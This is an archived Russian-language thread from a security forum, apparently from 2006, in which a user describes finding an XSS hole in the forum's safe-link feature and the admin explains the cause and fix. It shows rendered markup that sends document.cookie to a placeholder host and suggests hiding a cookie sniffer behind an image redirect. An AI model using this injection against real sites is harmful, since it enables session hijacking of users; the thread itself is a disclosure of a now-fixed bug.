PDA

Просмотр полной версии : Xss на форуме Античата


hidden
29.07.2006, 20:26
Как начался мой поиск уязвимости:

Просто мне сразу не очень понравилась идея мо скриптизацией форума, отчасти из за того что это сложнее защитить, и ещё потаму что я стараюсь практически не использовать js. Kill JavaScript (https://forum.antichat.ru/thread20712.html) И чтож, я решил проверить, насколько безопастдо это сделано, я тутже подставил в ссылку ' естественно это не прокатило, а так как я читал перед этим статьи с главной страници ачата, я вспомнил что если в js подставлять символы в виде &#HH, и они будут воспринематься как обычные символы, я подставил ' но или я читал не очень внимательно или там небыло написанно про то что ; после этого символа не только не воспринемается но и закрывает его, во всяком случае символ ; не указан в нижней таблице Взлом чатов by Algol. Теория и Практика. (страница 2) (http://antichat.ru/crackchat/index1.html), когда я подставил туда ' форум заменил символ & на &, на этом я и прекратил поиски.

Потом я гдкто увиде, что можно и нужно писать их все с ; (все имел введу таблицу), я подставил, ' и увидел его в сорцах таким как и подставил, и я не долго думая закрыл открытую кавычку адреса подставил любимую переменную и сново открыл кавычку, чтобы форум её закрыл сам, в ркзультаттк получилась такая строка.

Test

результат:
<span title="Безопасная ссылка, Referer не передается: http://xxx.yyy/zzz.php?'+document.cookie+'ok" style="text-decoration:underline; cursor: pointer;" onclick="window.open('http://xxx.yyy/zzz.php?'+document.cookie+'ok');">Test</span>

Как видно из примера, в скрипте "http://xxx.yyy/zzz.php" можно поставить снифер, а можно тудаже и редирект например на картинку, тогда никто не догалался бы что это снифер ;).

P.S. Я повыделял это красным потому что форум фильтрует эти симыолы, а если их разделить другим тэго то всё норм :)

P.P.S. Уязвимость, на данный момент, исправлена :)

SladerNon
29.07.2006, 22:09
!

Я в репутацию добавлять не буду :). Админы уже добавили :)

m0nzt3r
29.07.2006, 22:15
Молодец, не каждый бы додумался, респект!
Я понимаю тебя, хотел на паблик, чтоб все в лицо знали :d но можно было б и в привате оставить хсс, хотя паблик лучше, благородное дело сделал ;)

hidden
29.07.2006, 22:19
Если бы эта Xss работала ещё где-то, можно былоб и в привате, а так чего ей там делать.

Sn@k3
29.07.2006, 23:49
поясняю, вот это видео от Zadoxlik\\\'a, так вот там про такие xss, оч понятно оъясняет.
Кстати я тоже хочу 100 :)
http://video.antichat.ru/file46.html

Algol
30.07.2006, 10:58
Немного поясню, откуда возникла такая проблема. Когда я настраивал безопасность форума, я проверял валидность URL-ов в строгом соответствии с RFC. Т.е. в урле могут быть только цифры, буквы, и некоторые спец символы. Амперсанд (&) тоже входит в число допустимых симоволов, поскольку он является разделителем атрибутов в CGI-запросах. Однако, помимо этого, он является и знаком HTML-кодирования символов вида &#xx;
Получается что, с одной стороны необходимо оставить амперсанд для таких вот ссылок open('http://ssss.www/?ss=22&ddd=11'), но с другой стороны ссылки типа этой open('http://ssss.www/?ss=22"ddd=11') разрушают джаваскрипт, поскольку парсер преобразует " в кавычку. Диллема.
В настоящий момент, я выхожу из этой ситуации следующим образом:
В ULR знак амперсанда заменяется на &amp; . А при разборе такой ссылки браузером, он сначала преобразует &amp; в амперсанд, и потом выполняется open().

grinay
31.07.2006, 03:38
Да когда то и я нашел хсс на форуме но сто я не получил

tclover
31.07.2006, 04:19
Да когда то и я нашел хсс на форуме но сто я не получил
Деноминация просто )

hidden
31.07.2006, 04:30
Да когда то и я нашел хсс на форуме но сто я не получил

Хотел посмотреть, что ты за xss нашёл, но в твоём поиске, только 23 темы. Ты её вобще выкладывал?

qBiN
31.07.2006, 19:39
Получается что, с одной стороны необходимо оставить амперсанд для таких вот ссылокА мне казалось что w3c (Tidy) уже надо использовать

KoTeG
31.07.2006, 21:35
hidden молодца , постарался ! И вообше народ че вы так прицепились к 100 репе , ну получил человек и получил !